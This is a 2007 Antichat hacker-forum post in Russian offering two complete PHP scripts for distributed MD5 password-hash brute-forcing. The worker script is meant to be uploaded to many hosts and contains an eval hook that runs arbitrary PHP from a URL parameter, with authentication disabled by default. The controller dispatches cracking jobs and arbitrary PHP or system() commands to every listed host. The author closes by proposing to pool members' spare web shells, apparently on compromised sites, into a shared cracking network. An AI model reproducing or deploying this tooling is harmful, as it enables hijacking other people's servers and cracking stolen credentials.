ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Распределенный брутофорс md5 хешей. PHP
  #1  
Старый 30.08.2007, 18:40
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию Распределенный брутофорс md5 хешей. PHP

Вот на днях написал от не фиг делать. Принцип прост заливаем первый скрипт на как можно большее количество хостов и забиваем в файлик list.txt ссылки типа http://xxx/ddd/script.php? либо http://xxx/ddd/script.php?key=EOF& (и пожалуйста в конце этого файлика пустая строка) и заливаем его вместе со вторым скриптом на хост с поддержкой сокетов(!). Собсно в первом скрипте несколько параметров-разберетсь как и во втором.
Затем запускаете второй скрипт. Там все просто.
"Остановить все скрипты"-Давим на батон и все текущие задания прерываются...
"Проверка состояния скриптов"-Ну тут типа отчета что делают все скрипты... Собсно даже достачно информативный отчет )

Ну и следюющая формочка.
Первое поле заполняем если хотим запустить какой то скрипт индивидуально.
Во втором вписываем хеш.
Третье-там понятно.
Как впринципе и четвертое и пятое ))
И жмем на кнопку "Запустить скрипты на брут"
ЗЫ Прервите все текущие задания а то могут появится глюки.

Ну и плюс бонус... (Захотелось мне так, если что то можно отключить в настройках скриптов) Это выполнение php кода...

Так теперь о скорости брута... К сожалению одиночный скрипт брутить довольно медленно где-то район 1000000 пассов в 15-20 секунд у меня. Но скриптов десяток я думаю исправят этот недостаток )) впринципе на это система и расчитанна.

PHP код:
<?php
define
('KEY','EOF');//Пароль
define('AUTH',false);//Производить авторизацию true-да false-нет
define('FILE_RET','ret_file.txt');//Системный файл этого скрипта
define('FILE_STOP','stop.txt');////Если этот файл присутствует тогда этот скрипт прервет свое выполнение.
define('EXCUTE_PHP',true);//Разрешить выполнять пхп код

if(AUTH){if(!empty($_GET['key'])){if($_GET['key']!=KEY)die();}else die();}

if(!isset(
$_GET['php'])) $php="qwertyuiopasdfghjklzxcvbnm";
else 
$php=rawurldecode($_GET['php']);

if(!isset(
$_GET['from'])) $from="";
else 
$from=rawurldecode($_GET['from']);

if(!isset(
$_GET['text'])) $text="";
else 
$text=rawurldecode($_GET['text']);

if(!isset(
$_GET['count_c'])) $count_c="";
else 
$count_c=rawurldecode($_GET['count_c']);

function 
infile($str)
{
    
$f=fopen(FILE_RET"w");
    
fputs($f,$str);
    
fclose($f);
}

function 
mdgetword() 
{
    global 
$php,$from,$word;
    
$word="";
    for (
$i=0$i<count($from); $i++) $word.=$php[$from[$i]];
}

if(
file_exists(FILE_STOP))
{
    
infile('User stop-'.$text.'-'.time());
    
unlink(FILE_STOP);
}

if (isset(
$_GET['do'])) 
{
    if(
$_GET['do']==='how')
    {
        if(
file_exists(FILE_RET))readfile(FILE_RET);
        else echo(
'Script not started at once');
    }
    elseif(
$_GET['do']==='eva')
    {
        if(
EXCUTE_PHP)
        {
        if(!empty(
$_GET['eva']))eval(rawurldecode($_GET['eva']));
        }
        else echo(
'<font color=red><b>Acsess deinded to excute php</b></font>');
    }
    elseif(
$_GET['do']==='stop')
    {
        
infile('User stop-'.$text.'-'.time());
        
$f=fopen(FILE_STOP"w");
        
fclose($f);
        
readfile(FILE_RET);
    }
    elseif(
$_GET['do']==='start')
    {
        @
set_time_limit(0);
        @
ignore_user_abort(true);

        
$fulltime=@intval($fulltime);
        
$fullqty=@intval($fullqty);
        
$count_c=@intval($count_c);
            
        
$text=strtolower($text);
        if (!isset(
$from) || !preg_match("!^([0-9]+):(([0-9]+,)*[0-9]+)$!",$from,$ok)) 
        {
            
$pos=0;
            
$from=0;
        }
        else 
        {
            
$pos=$ok[1];
            
$from=$ok[2];
        }

        
$from=explode(",",$from);
        if (!
is_array($from) || !count($from) || count($from)==&& $from[0]==0
        { 
            
$from=array(0);
            if (
md5("")===$text)
            {
                
infile('Found-'.$text.'-'.base64_encode('PASSWORD EMPTY!!!'));
                die();
            }
        }
        
$phplen=strlen($php);
        
mdgetword();
        
$poslen=strlen($word);
        if (
$pos<|| $pos>=$poslen$pos=0;
        
        
$fullsum=pow($phplen,$poslen);
        
$time1=time();
        
$i=0;
        
$if2=0;
        
        
$time_start=microtime();
        
$micro_start=substr($time_start,0,10)+substr($time_start,11);
        
infile('Start-'.$text.'-'.$count_c.'-'.time().'-'.$word);
        
        while (
1
        {
            if(
$i===$count_c)
            {
                
$time_stop=microtime();
                
$micro_stop=substr($time_stop,0,10)+substr($time_stop,11);
                
$all_time=$micro_stop-$micro_start;
                
infile('Not found-'.$text.'-'.time().'-'.$all_time);
                die();
            }
            if(
$if2===50000)
            {
                if(
file_exists(FILE_STOP))
                {
                    
infile('User stop-'.$text.'-'.time());
                    
unlink(FILE_STOP);
                    die();
                }
                
$if2=0;
            }
            echo(
$word.'<br>');
            if (
md5($word)===$text)
            {
                
$time_stop=microtime();
                
$micro_stop=substr($time_stop,0,10)+substr($time_stop,11);
                
$all_time=$micro_stop-$micro_start;
                
infile('Found-'.$text.'-'.base64_encode($word).'-'.$all_time);
                
//die();
            
}
            
$from[$pos]++;
            if (
$from[$pos]==$phplen
            {
                
$flag=1;
                
$from[$pos]=0;
                
$word[$pos]=$php[0];
                for (
$pos=$pos+1$pos<$poslen$pos++) 
                {
                    if (
$from[$pos]+1<$phplen
                    {
                        
$from[$pos]++;
                        
$word[$pos]=$php[$from[$pos]];
                        
$flag=0;
                        
$pos=0;
                        break;
                    }
                    else 
                    {
                        
$from[$pos]=0;
                        
$word[$pos]=$php[0];
                    }
                }
                if (
$flag
                {
                    
$from[]=0;
                    
$poslen=count($from);
                    
$word.=$php[0];
                    
$pos=0;
                    
$fullsum=pow($phplen,$poslen);
                }
            }
            
$word[$pos]=$php[$from[$pos]];
            
$i++;
            
$if2++;    
        }
        
    }
}
?>
PHP код:
<?php
define
('KEY','EOF');//Пароль
define('AUTH',false);//Производить авторизацию true-да false-нет
define('FILE_LIST','list.txt');//Файл с путями к скриптам брута хешей
define('FILE_STOP','stop_serv.txt');//Если этот файл присутствует тогда этот скрипт прервет свое выполнение.
define('EXCUTE_PHP',true);//Разрешить выполнять пхп код на остальных скриптах(Требуется значение true этого параметра в каждом скрипте)

@set_time_limit(0);

/*
Эта функция кривовата если найдется тот кто сможет ее исправить 
пожалуйста постучитесь в icq 200000511. Сам править уже немогу -
тошнит от нее...
*/
function next_pass($arrey,$integ,$php)
{
$new_arrey=$arrey;
$add=$integ;
$len=strlen($php);
$i=0;
while(
1)
{
    if(!
array_key_exists($i$new_arrey))$new_arrey[$i]=0;
    
$add_now=$add%$len;
    
$add=($add-($add%$len))/$len;
    
$new_arrey[$i]=$new_arrey[$i]+$add_now;
    if(
$new_arrey[$i]>=$len)
    {
        
$add=$add+($new_arrey[$i]-($new_arrey[$i]%$len))/$len;
        
$new_arrey[$i]=$new_arrey[$i]%$len;
    }
    if(
$add<=$len)
    {
        if(
$add<>0)
        {
            if(!
array_key_exists($i+1$new_arrey))    {$new_arrey[$i+1]=0;}
            
$new_arrey[$i+1]=$new_arrey[$i+1]+$add;
            
$add=0;
            if(
$new_arrey[$i+1]<$len)break;
            else
            {
                
$add=($new_arrey[$i+1]-($new_arrey[$i+1]%$len))/$len;
                
$new_arrey[$i+1]=$new_arrey[$i+1]%$len;
                
$i++;
                
$add=$add-1;
            }
        }
        else break;
    }
    
$i++;
}
return 
$new_arrey;
}

function 
getfromword($str,$php)
{
$from[0]=0;
for (
$i=0$i<strlen($str); $i++)
{
    
$from[$i]=strpos($php,$str[$i]);
}
return 
$from;
}

function 
getwordfrom($arrey,$php)
{
$str='';
for (
$i=0$i<count($arrey); $i++){$str.=$php[$arrey[$i]];}
return 
$str;
}

function 
getffromf($arrey)
{
$str='0:';
$str.=$arrey[0];
for (
$i=1$i<count($arrey); $i++){$str.=','.$arrey[$i];}
return 
$str;
}

function 
gethostbystr($str)
{
    
$host=substr($str,7);
    if(
strpos($host,'/')>0)$host=substr($host,0,strpos($host,'/'));
    return 
$host;
}

function 
gethost($str)
{
    
$host=substr($str,7);
    if(
strpos($host,'/')>0)$host=substr($host,0,strpos($host,'/'));
    return 
$host;
}

function 
start_script($str)
{
    
$header="GET ".$str." HTTP/1.0\r\n";
    
$header.="Accept-Language: en-us,en;q=0.5\r\n";
    
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    
$header.="User-Agent: Mozilla/5.0 ( Windows; U; \$3m31\$tv0_f0rt04nb|}{; MSNIA )\r\n";
    
$header.="Connection: keep-alive\r\n";
    
$header.="Host: ".gethostbystr($str)."\r\n\r\n";
    
    
$fp=fsockopen(gethost($str), 80);
    
fwrite($fp$header);
    
fclose($fp);
}

if(
AUTH)
{
$key_p='';
if(!empty(
$_GET['key']))$key_p=$_GET['key'];
if(!empty(
$_POST['key']))$key_p=$_POST['key'];
if(
$key_p!=KEY)die();
}

echo(
'<HTML>
<head>
<title>Система рапределнного брута md5 хешей</title>
</head>
<body>'
);
if(!empty(
$_POST['do']))
{
    if(
$_POST['do']==='how_all')
    {
        
$bryters=file(FILE_LIST);
        for(
$i=0;$i<count($bryters);$i++)
        {
            
$text_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=how');
            
$bryt_script=explode('-',$text_script[0]);
            echo(
'<font size="-1"><b>'.$bryters[$i].'</b></font> ');
            if(
$bryt_script[0]==='Found')echo('<font color=green>Хеш <b>'.$bryt_script[1].'</b> сбручен. Затраченно <b>'.$bryt_script[3].'</b> секунд. Ваш пароль: <b>'.base64_decode($bryt_script[2]).'</b></font>');
            elseif(
$bryt_script[0]==='Not found')echo('<font color=red>Хеш <b>'.$bryt_script[1].'</b> не сбручен. Сам скрипт остановлен. Затраченно <b>'.$bryt_script[3].'</b> секунд. <b>'.date('H:i d.m.y'$bryt_script[2]).'</b></font>');
            elseif(
$bryt_script[0]==='User stop')echo('<font color=red>Брут хеша <b>'.$bryt_script[1].'</b> был остановленн юзером.<b>'.date('H:i d.m.y'$bryt_script[2]).'</b></font>');
            elseif(
$bryt_script[0]==='Start')echo('<font color=orange>Хеш <b>'.$bryt_script[1].'</b> брутится. Запущенно <b>'.$bryt_script[2].'</b> комбинаций начиная с пароля <b>'.rawurldecode($bryt_script[4]).'</b>.<b>'.date('H:i d.m.y'$bryt_script[3]).'</b></font>');
            elseif(
$bryt_script[0]==='Script not started at once')echo('<font color=gray>Данный скрипт не был запущен еще ни разу</font>');
            echo(
'<br>');
            
flush();
            if(
file_exists(FILE_STOP))
            {
                
unlink(FILE_STOP);
                break;
            }
        }
    }
    if(
$_POST['do']==='stop_all')
    {
        
$bryters=file(FILE_LIST);
        for(
$i=0;$i<count($bryters);$i++)
        {
            
$text_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=stop');
            
$bryt_script=explode('-',$text_script[0]);
            echo(
'<font size="-1"><b>'.$bryters[$i].'</b></font> ');
            echo(
'<font color=red>Брут хеша <b>'.$bryt_script[1].'</b> был остановленн юзером.<b>'.date('H:i d.m.y'$bryt_script[2]).'</b></font>');
            echo(
'<br>');
            
flush();
            if(
file_exists(FILE_STOP))
            {
                
unlink(FILE_STOP);
                break;
            }
        }
    }
    if((
$_POST['do']==='shell_eva')&&(EXCUTE_PHP))
    {
        
$bryters=file(FILE_LIST);
        for(
$i=0;$i<count($bryters);$i++)
        {
            if(
$_POST['ret']==='1')
            {
                
$text_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=eva&eva='.rawurlencode($_POST['eva']));
                echo(
'<hr><font size="-1">'.$bryters[$i].'<br><br>');
                for(
$i2=0;$i2<count($text_script);$i2++)echo($text_script[$i2]);
                echo(
'</font><hr>');
            }
            else
            {
                
start_script(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=eva&eva='.rawurlencode($_POST['eva']));
                echo(
'<hr><font size="-1">'.$bryters[$i].'<br><br>Готово');
                echo(
'</font><hr>');
            }
            
flush();
            if(
file_exists(FILE_STOP))
            {
                
unlink(FILE_STOP);
                break;
            }
        }
    }
    if(
$_POST['do']==='start_all')
    {
        
$bryters=file(FILE_LIST);
        
$passw_st=$_POST['start_pass'];
        if(empty(
$_POST['number']))
        {
            
$passw_st=getfromword($passw_st,$_POST['sumb']);
            for(
$i=0;$i<count($bryters);$i++)
            {
                
start_script(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode(getffromf($passw_st,$_POST['sumb'])).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                
sleep(1);
                
//echo(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode(getffromf($passw_st)).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                
$bryt_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=how');
                
$bryt_script=explode('-',$bryt_script[0]);
                echo(
'<font size="-1"><b>'.$bryters[$i].'</b></font> ');
                echo(
'<font color=orange>Хеш <b>'.$bryt_script[1].'</b> брутится. Запущенно <b>'.$bryt_script[2].'</b> комбинаций начиная с пароля <b>'.rawurldecode($bryt_script[4]).'</b>.<b>'.date('H:i d.m.y'$bryt_script[3]).'</b></font>');
                echo(
'<br>');
                
flush();
                if(
file_exists(FILE_STOP))
                {
                    
unlink(FILE_STOP);
                    break;
                }
                
$passw_st=next_pass($passw_st,$_POST['count_comb'],$_POST['sumb']);
            }
            echo(
'<hr>Следующий пароль: <b>'.getwordfrom($passw_st,$_POST['sumb']).'</b>');

        }
        else
        {
            if((
intval($_POST['number'])<=count($bryters))&&(intval($_POST['number'])>=1)&&($_POST['number']!='0'))
            {
                
start_script(substr($bryters[$_POST['number']-1],0,strlen($bryters[$_POST['number']-1])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode($passw_st).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                
sleep(1);
                
//echo(substr($bryters[$_POST['number']-1],0,strlen($bryters[$_POST['number']-1])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode($passw_st).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                
$bryt_script=file(substr($bryters[$_POST['number']-1],0,strlen($bryters[$_POST['number']-1])-2).'do=how');
                
$bryt_script=explode('-',$bryt_script[0]);
                echo(
'<font size="-1"><b>'.$bryters[$_POST['number']-1].'</b></font> ');
                echo(
'<font color=orange>Хеш <b>'.$bryt_script[1].'</b> брутится. Запущенно <b>'.$bryt_script[2].'</b> комбинаций начиная с пароля <b>'.rawurldecode($bryt_script[4]).'</b>.<b>'.date('H:i d.m.y'$bryt_script[3]).'</b></font>');
                echo(
'<br>');
                
flush();
            }
        }
    }
}

echo(
'<hr>
<form method="post">
<input type="hidden" name="key" value="'
.KEY.'">
<input type="hidden" name="do" value="stop_all">
<input type="submit" value="Остановить все скрипты">
</form>'
);
echo(
'<hr>
<form method="post">
<input type="hidden" name="key" value="'
.KEY.'">
<input type="hidden" name="do" value="how_all">
<input type="submit" value="Проверка состояния скриптов">
</form>'
);
echo(
'<hr>
<form method="post">
<input type="hidden" name="key" value="'
.KEY.'">
<input type="hidden" name="do" value="start_all">
<input type="text" name="number" value="">:Номер скрипта в файле '
.FILE_LIST.' если не указанно то будут запущенны все скрипты<br>
<input type="text" name="md5_hash" value="074431c9d7529b508d0c085d31fc2068">:Хеш который надо сбрутить<br>
<input type="text" name="start_pass" value="a">:Пароль с которого нужно начинать брут<br>
<input type="text" name="count_comb" value="1000000">:Количество комбинаций на каждый скрипт<br>
<input type="text" name="sumb" value="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\\\'">:Использовать эти символы для перебора<br>
<input type="submit" value="Запустить скрипты на брут">
</form>'
);
if(
EXCUTE_PHP)
{
echo(
'<hr>
<form method="post">
<input type="hidden" name="key" value="'
.KEY.'">
<input type="hidden" name="do" value="shell_eva">
<textarea name="eva" cols="30" rows="7">system(\'ping 127.0.0.1\');
</textarea><br>
<input type="radio" name="ret" value="1">Выполнить и ждать ответ
<input type="radio" name="ret" value="0" checked>Просто выполнить<br>
<input type="submit" value="Выполнить пхп код ;)">
</form>'
);
}
echo(
'</body>
</HTML>'
);

?>
Внимание вопрос. У кого есть желание сделать эту систему единой? Например у каждого из нас будет ну бугага никому не нужных веб шелов по 10 так? Заливаем на каждый создаем единый католог с этими скриптами. И открываем доступ допустим либо всем либо тем кто внес свой вклад. Только тогда надо будет переписать скрипты тк сейчас они расчитанны на брут одного хеша. Вместе впринципе может получиться неплохая система для брута я так думаю...Есть желание?
__________________
Кто я?..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Патчи, модификации, скрипты для John the Ripper Thanat0z Расшифровка хешей 7 15.09.2008 05:54
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ